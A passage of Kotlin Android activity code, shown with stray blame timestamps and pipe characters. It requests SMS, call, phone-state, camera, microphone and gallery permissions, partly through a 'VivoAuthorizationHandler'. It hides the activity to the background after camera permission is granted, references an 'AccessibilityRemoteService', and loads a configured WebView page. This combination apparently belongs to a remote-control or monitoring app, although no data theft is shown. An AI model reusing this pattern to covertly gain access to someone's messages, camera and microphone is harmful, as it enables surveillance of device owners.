* 处理相册权限申请请求
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleGalleryPermissionRequest() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val requestGalleryPermission =
|
|
|
|
|
|
intent.getBooleanExtra("request_gallery_permission", false)
|
|
|
|
|
|
if (requestGalleryPermission) {
|
|
|
|
|
|
Log.i(TAG, "🖼️ 收到相册权限申请请求")
|
|
|
|
|
|
requestGalleryPermission()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "处理相册权限申请请求失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理麦克风权限申请请求
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleMicrophonePermissionRequest() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val requestMicrophonePermission =
|
|
|
|
|
|
intent.getBooleanExtra("request_microphone_permission", false)
|
|
|
|
|
|
if (requestMicrophonePermission) {
|
|
|
|
|
|
Log.i(TAG, "🎤 收到麦克风权限申请请求")
|
|
|
|
|
|
requestMicrophonePermission()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "处理麦克风权限申请请求失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 直接相册权限请求(用于VivoAuthorizationHandler调用)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestGalleryPermissionDirectly() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎯 直接相册权限请求")
|
|
|
|
|
|
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
|
|
|
|
arrayOf(
|
|
|
|
|
|
android.Manifest.permission.READ_MEDIA_IMAGES,
|
|
|
|
|
|
android.Manifest.permission.READ_MEDIA_VIDEO
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
arrayOf(
|
|
|
|
|
|
android.Manifest.permission.READ_EXTERNAL_STORAGE,
|
|
|
|
|
|
android.Manifest.permission.WRITE_EXTERNAL_STORAGE
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
val needPermissions = permissions.filter {
|
|
|
|
|
|
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
|
|
|
|
|
|
}
|
|
|
|
|
|
if (needPermissions.isNotEmpty()) {
|
|
|
|
|
|
Log.i(TAG, "🖼️ 直接申请相册权限")
|
|
|
|
|
|
requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 相册权限已授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 直接相册权限请求失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 申请相册权限
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestGalleryPermission() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
|
|
|
|
arrayOf(android.Manifest.permission.READ_MEDIA_IMAGES)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
arrayOf(android.Manifest.permission.READ_EXTERNAL_STORAGE)
|
|
|
|
|
|
}
|
|
|
|
|
|
val needPermissions =
|
|
|
|
|
|
permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED }
|
|
|
|
|
|
if (needPermissions.isNotEmpty()) {
|
|
|
|
|
|
Log.i(TAG, "🖼️ 申请相册权限")
|
|
|
|
|
|
requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 相册权限已授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "申请相册权限失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 直接麦克风权限请求(用于VivoAuthorizationHandler调用)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestMicrophonePermissionDirectly() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎯 直接麦克风权限请求")
|
|
|
|
|
|
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
|
|
|
|
|
|
Log.i(TAG, "🎤 直接申请麦克风权限")
|
|
|
|
|
|
requestPermissions(
|
|
|
|
|
|
arrayOf(android.Manifest.permission.RECORD_AUDIO),
|
|
|
|
|
|
REQUEST_MICROPHONE_PERMISSION
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 麦克风权限已授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 直接麦克风权限请求失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 申请麦克风权限
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestMicrophonePermission() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
|
|
|
|
|
|
Log.i(TAG, "🎤 申请麦克风权限")
|
|
|
|
|
|
requestPermissions(
|
|
|
|
|
|
arrayOf(android.Manifest.permission.RECORD_AUDIO),
|
|
|
|
|
|
REQUEST_MICROPHONE_PERMISSION
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 麦克风权限已授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "申请麦克风权限失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 直接短信权限请求(用于VivoAuthorizationHandler调用)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestSMSPermissionDirectly() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎯 直接短信权限请求")
|
|
|
|
|
|
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
val permissions = arrayOf(
|
|
|
|
|
|
android.Manifest.permission.READ_SMS,
|
|
|
|
|
|
android.Manifest.permission.SEND_SMS,
|
|
|
|
|
|
android.Manifest.permission.RECEIVE_SMS,
|
|
|
|
|
|
android.Manifest.permission.READ_PHONE_STATE,
|
|
|
|
|
|
android.Manifest.permission.CALL_PHONE
|
|
|
|
|
|
)
|
|
|
|
|
|
val needPermissions = permissions.filter {
|
|
|
|
|
|
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
|
|
|
|
|
|
}
|
|
|
|
|
|
if (needPermissions.isNotEmpty()) {
|
|
|
|
|
|
Log.i(TAG, "📱 直接申请短信权限")
|
|
|
|
|
|
requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 短信权限已授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 直接短信权限请求失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 申请短信权限
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestSMSPermission() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
val permissions = arrayOf(
|
|
|
|
|
|
android.Manifest.permission.READ_SMS,
|
|
|
|
|
|
android.Manifest.permission.SEND_SMS,
|
|
|
|
|
|
android.Manifest.permission.READ_PHONE_STATE
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
val needPermissions = permissions.filter {
|
|
|
|
|
|
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (needPermissions.isNotEmpty()) {
|
|
|
|
|
|
Log.i(TAG, "📱 申请短信权限")
|
|
|
|
|
|
requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 短信权限已授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "申请短信权限失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理摄像头权限申请请求
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleCameraPermissionRequest() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "📷 开始处理摄像头权限申请请求")
|
|
|
|
|
|
|
|
|
|
|
|
// 更新UI状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "📷 正在申请摄像头权限\n请在弹出的对话框中点击允许"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
|
|
|
|
|
|
enableButton.text = "申请中..."
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 申请摄像头权限
|
|
|
|
|
|
requestCameraPermission()
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 处理摄像头权限申请请求失败", e)
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
|
|
|
|
|
|
enableButton.text = "重试"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 直接摄像头权限请求(用于VivoAuthorizationHandler调用)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestCameraPermissionDirectly() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎯 直接摄像头权限请求")
|
|
|
|
|
|
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
|
|
|
|
|
Log.i(TAG, "📷 直接申请摄像头权限")
|
|
|
|
|
|
requestPermissions(
|
|
|
|
|
|
arrayOf(android.Manifest.permission.CAMERA),
|
|
|
|
|
|
REQUEST_CAMERA_PERMISSION
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 摄像头权限已授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 直接摄像头权限请求失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 申请摄像头权限
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestCameraPermission() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
|
|
|
|
|
Log.i(TAG, "📷 申请摄像头权限")
|
|
|
|
|
|
requestPermissions(
|
|
|
|
|
|
arrayOf(android.Manifest.permission.CAMERA),
|
|
|
|
|
|
REQUEST_CAMERA_PERMISSION
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 摄像头权限已授予")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 摄像头权限已授予\n权限申请完成"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.text = "完成"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟隐藏Activity
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ Android版本低于6.0\n无需申请摄像头权限"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.text = "完成"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟隐藏Activity
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "申请摄像头权限失败", e)
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
|
|
|
|
|
|
enableButton.text = "重试"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 权限申请结果回调
|
|
|
|
|
|
*/
|
|
|
|
|
|
override fun onRequestPermissionsResult(
|
|
|
|
|
|
requestCode: Int,
|
|
|
|
|
|
permissions: Array<out String>,
|
|
|
|
|
|
grantResults: IntArray
|
|
|
|
|
|
) {
|
|
|
|
|
|
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
|
|
|
|
|
|
|
|
|
|
|
|
when (requestCode) {
|
|
|
|
|
|
REQUEST_SMS_PERMISSION -> {
|
|
|
|
|
|
val allGranted =
|
|
|
|
|
|
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
|
|
|
|
|
|
if (allGranted) {
|
|
|
|
|
|
Log.i(TAG, "✅ 短信权限已授予")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ 短信权限被拒绝")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
REQUEST_GALLERY_PERMISSION -> {
|
|
|
|
|
|
val allGranted =
|
|
|
|
|
|
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
|
|
|
|
|
|
if (allGranted) {
|
|
|
|
|
|
Log.i(TAG, "✅ 相册权限已授予")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ 相册权限未授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
REQUEST_MICROPHONE_PERMISSION -> {
|
|
|
|
|
|
val allGranted =
|
|
|
|
|
|
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
|
|
|
|
|
|
if (allGranted) {
|
|
|
|
|
|
Log.i(TAG, "✅ 麦克风权限已授予")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ 麦克风权限未授予")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
REQUEST_CAMERA_PERMISSION -> {
|
|
|
|
|
|
val allGranted =
|
|
|
|
|
|
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
|
|
|
|
|
|
if (allGranted) {
|
|
|
|
|
|
Log.i(TAG, "✅ 摄像头权限已授予")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 摄像头权限已授予\n权限申请完成"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.text = "完成"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟隐藏Activity
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ 摄像头权限被拒绝")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "❌ 摄像头权限被拒绝\n请手动在设置中开启"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
|
|
|
|
|
|
enableButton.text = "重试"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
REQUEST_ALL_PERMISSIONS -> {
|
|
|
|
|
|
val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
|
|
|
|
|
|
val grantedCount = grantResults.count { it == PackageManager.PERMISSION_GRANTED }
|
|
|
|
|
|
val totalCount = grantResults.size
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "📊 所有权限申请结果: $grantedCount/$totalCount 已授予")
|
|
|
|
|
|
|
|
|
|
|
|
if (allGranted) {
|
|
|
|
|
|
Log.i(TAG, "✅ 所有权限已授予")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 所有权限已授予\n权限申请完成"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 部分权限被拒绝: $grantedCount/$totalCount")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized) {
|
|
|
|
|
|
statusText.text = "⚠️ 部分权限被拒绝\n已授予: $grantedCount/$totalCount"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 启动WebView页面
|
|
|
|
|
|
* 从server_config.json读取webUrl配置
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startWebViewActivity() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🚫 暂时关闭WebView的打开
|
|
|
|
|
|
// Log.i(TAG, "🚫 WebView打开已被暂时禁用")
|
|
|
|
|
|
// return
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🌐 准备启动WebView页面")
|
|
|
|
|
|
Log.i(TAG, "🔍 当前Activity状态: isFinishing=${isFinishing}, isDestroyed=${isDestroyed}")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查Activity是否仍然有效
|
|
|
|
|
|
if (isFinishing || isDestroyed) {
|
|
|
|
|
|
Log.e(TAG, "❌ Activity已销毁或正在结束,无法启动WebView")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查安装是否完成,如果未完成则不打开WebView
|
|
|
|
|
|
try {
|
|
|
|
|
|
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
|
|
|
|
|
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
|
|
|
|
|
|
|
|
|
|
|
if (!isInstallationComplete) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 安装未完成,无法打开WebView")
|
|
|
|
|
|
// 可选:显示提示信息给用户
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
statusText?.text = "⚠️ 安装未完成\n请先完成安装流程"
|
|
|
|
|
|
statusText?.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
Log.i(TAG, "✅ 安装已完成,允许打开WebView")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查安装完成状态失败", e)
|
|
|
|
|
|
// 如果检查失败,为了安全起见,不打开WebView
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 从配置文件读取webUrl
|
|
|
|
|
|
val webUrl = com.hikoncont.util.ConfigReader.getWebUrl(this)
|
|
|
|
|
|
|
|
|
|
|
|
val finalUrl = if (webUrl.isNullOrBlank()) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 配置文件中没有webUrl,使用默认URL")
|
|
|
|
|
|
"https://m.baidu.com"
|
|
|
|
|
|
} else {
|
|
|
|
|
|
webUrl
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 找到布局中的 WebView
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
if (webView == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ 未找到WebView视图,无法加载页面")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 使用 WebViewManager 管理 WebView - 参考 f 目录的完整实现
|
|
|
|
|
|
val webViewManager = WebViewManager(this)
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 设置回调接口 - 参考 zuiqiang 的简洁实现
|
|
|
|
|
|
webViewManager.setCallback(object : WebViewManager.WebViewCallback {
|
|
|
|
|
|
override fun onPageFinished(url: String) {
|
|
|
|
|
|
Log.i(TAG, "📄 页面加载完成: $url")
|
|
|
|
|
|
// 这里可以添加页面加载完成后的处理逻辑
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
override fun onWebClick(url: String) {
|
|
|
|
|
|
Log.i(TAG, "🔗 JavaScript点击: $url")
|
|
|
|
|
|
// 这里可以添加点击处理逻辑
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
webViewManager.initWebView(webView)
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 隐藏主UI,显示 WebView - 参考 f 目录的简单切换
|
|
|
|
|
|
hideMainUI()
|
|
|
|
|
|
webViewManager.showWebView()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 启动WebView状态更新(每500ms更新一次静态变量)
|
|
|
|
|
|
startWebViewStatusUpdate()
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 简洁的全屏设置
|
|
|
|
|
|
try {
|
|
|
|
|
|
supportActionBar?.hide()
|
|
|
|
|
|
} catch (_: Exception) {
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 关键性能优化:禁用不必要的系统UI效果
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 禁用状态栏和导航栏的动画效果
|
|
|
|
|
|
window.decorView.systemUiVisibility = android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE
|
|
|
|
|
|
Log.d(TAG, "🔧 已优化系统UI性能")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 系统UI优化失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 加载 URL
|
|
|
|
|
|
webViewManager.loadUrl(finalUrl)
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 WebView 启动时:关闭日志收集以提升性能
|
|
|
|
|
|
try {
|
|
|
|
|
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
// serviceInstance?.disableLogging() // 暂停:暂时不切换日志
|
|
|
|
|
|
Log.i(TAG, "🌐 WebView 启动:跳过日志开关")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ WebView 启动完成")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动WebView失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 隐藏主UI - 参考 f 目录的简单切换方式
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun hideMainUI() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 隐藏主界面内容
|
|
|
|
|
|
findViewById<android.view.View>(R.id.mainContent)?.visibility = android.view.View.GONE
|
|
|
|
|
|
// 显示 WebView 容器
|
|
|
|
|
|
findViewById<android.view.View>(R.id.webViewContainer)?.visibility = android.view.View.VISIBLE
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 WebView 模式优化:跳过日志开关
|
|
|
|
|
|
try {
|
|
|
|
|
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
// serviceInstance?.disableLogging() // 暂停:暂时不切换日志
|
|
|
|
|
|
Log.i(TAG, "🌐 WebView 模式:跳过日志开关")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 主UI已隐藏,WebView容器已显示")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 隐藏主UI失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 启动WebView状态更新(每500ms更新一次静态变量,最高性能)
|
|
|
|
|
|
